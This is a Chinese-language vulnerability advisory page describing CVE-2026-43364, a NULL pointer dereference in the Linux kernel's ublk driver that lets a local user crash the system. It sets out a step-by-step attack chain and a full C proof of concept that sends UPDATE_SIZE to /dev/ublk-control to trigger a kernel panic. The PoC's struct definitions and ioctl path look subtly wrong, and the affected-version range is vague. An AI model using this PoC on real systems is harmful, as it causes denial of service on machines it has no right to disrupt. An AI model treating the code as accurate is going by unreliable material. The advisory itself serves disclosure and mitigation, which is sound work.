IPBUF安全漏洞报告
English
CVE-2026-43364 CVSS 5.5 中危

CVE-2026-43364 Linux内核ublk空指针解引用漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43364
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoSLocalublk

漏洞概述

Linux内核ublk子系统存在空指针解引用漏洞。`ublk_ctrl_set_size()`函数在处理`UBLK_CMD_UPDATE_SIZE`命令时,未对`ub->ub_disk`指针进行有效性检查。由于该指针在设备未启动或已停止时为NULL,本地低权限攻击者可通过发送UPDATE_SIZE命令触发内核崩溃,从而导致系统拒绝服务。

技术细节

该漏洞源于Linux内核`drivers/block/ublk_drv.c`文件中的`ublk_ctrl_set_size()`函数。该函数旨在处理用户空间发送的更新设备大小请求,通过调用`set_capacity_and_notify(ub->ub_disk)`来更新磁盘容量。然而,代码在调用该函数前未对`ub->ub_disk`指针进行非空校验。根据ublk驱动的状态机逻辑,`ub->ub_disk`仅在`ublk_ctrl_start_dev()`执行成功后被赋值,而在`ublk_ctrl_stop_dev()`执行后(具体为`ublk_detach_disk()`)会被置为NULL。因此,当设备处于“已添加但未启动”或“已停止”等中间状态时,该指针为空。`UBLK_CMD_UPDATE_SIZE`命令的处理逻辑中缺乏针对设备当前状态的验证。本地低权限攻击者可利用这一逻辑缺陷,向处于上述无效状态的设备发送`UBLK_CMD_UPDATE_SIZE`命令,从而触发内核空指针解引用异常。这将导致内核恐慌(Kernel Panic),进而引发系统崩溃或拒绝服务。

攻击链分析

STEP 1
步骤1:访问控制设备
本地攻击者打开`/dev/ublk-control`设备文件,获取执行ioctl操作的权限。
STEP 2
步骤2:识别易受攻击状态
攻击者确认系统中存在处于“已添加但未启动”或“已停止”状态的ublk设备。
STEP 3
步骤3:发送恶意命令
攻击者通过ioctl向目标设备发送`UBLK_CMD_UPDATE_SIZE`命令。
STEP 4
步骤4:触发漏洞
内核执行`ublk_ctrl_set_size()`函数,无条件解引用`ub->ub_disk`指针。
STEP 5
步骤5:系统崩溃
由于`ub->ub_disk`为NULL,触发空指针解引用异常,导致内核崩溃(Kernel Panic)或系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43364 * Trigger NULL pointer dereference in ublk_ctrl_set_size() * Compile: gcc -o poc ublk_poc.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Definitions based on kernel headers for ublk #define UBLK_CTRL_CMD_BASE 0x5A #define UBLK_CMD_UPDATE_SIZE _IOW(UBLK_CTRL_CMD_BASE, 0x13, struct ublksrv_ctrl_cmd) struct ublksrv_ctrl_dev_info { int dev_id; __u32 state; // ... other fields }; struct ublksrv_ctrl_cmd { __u16 cmd_id; __u16 padding; __u32 dev_id; __u64 addr; __u32 len; // ... other fields }; int main() { int fd; struct ublksrv_ctrl_cmd cmd = {0}; // Open the ublk control device fd = open("/dev/ublk-control", O_RDWR); if (fd < 0) { perror("Failed to open /dev/ublk-control"); return 1; } // Setup command to update size // Ideally, target a device_id that exists but is in a stopped or added-but-not-started state. cmd.cmd_id = UBLK_CMD_UPDATE_SIZE; cmd.dev_id = 0; // Assuming device 0 exists and is in a vulnerable state cmd.len = 0; // Trigger the bug with minimal data printf("Sending UBLK_CMD_UPDATE_SIZE to trigger NULL pointer dereference...\n"); // The kernel will dereference ub->ub_disk inside ublk_ctrl_set_size() // without checking if it is NULL, causing a kernel panic. if (ioctl(fd, UBLK_CMD_UPDATE_SIZE, &cmd) < 0) { perror("ioctl failed"); } close(fd); return 0; }

影响范围

Linux Kernel < 6.x (具体受影响版本需参照Git提交修复记录)

防御指南

临时缓解措施
如果无法立即升级内核,建议在不受信任的本地用户可访问的系统中禁用ublk驱动模块(通过blacklist或modprobe -r),以防止被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表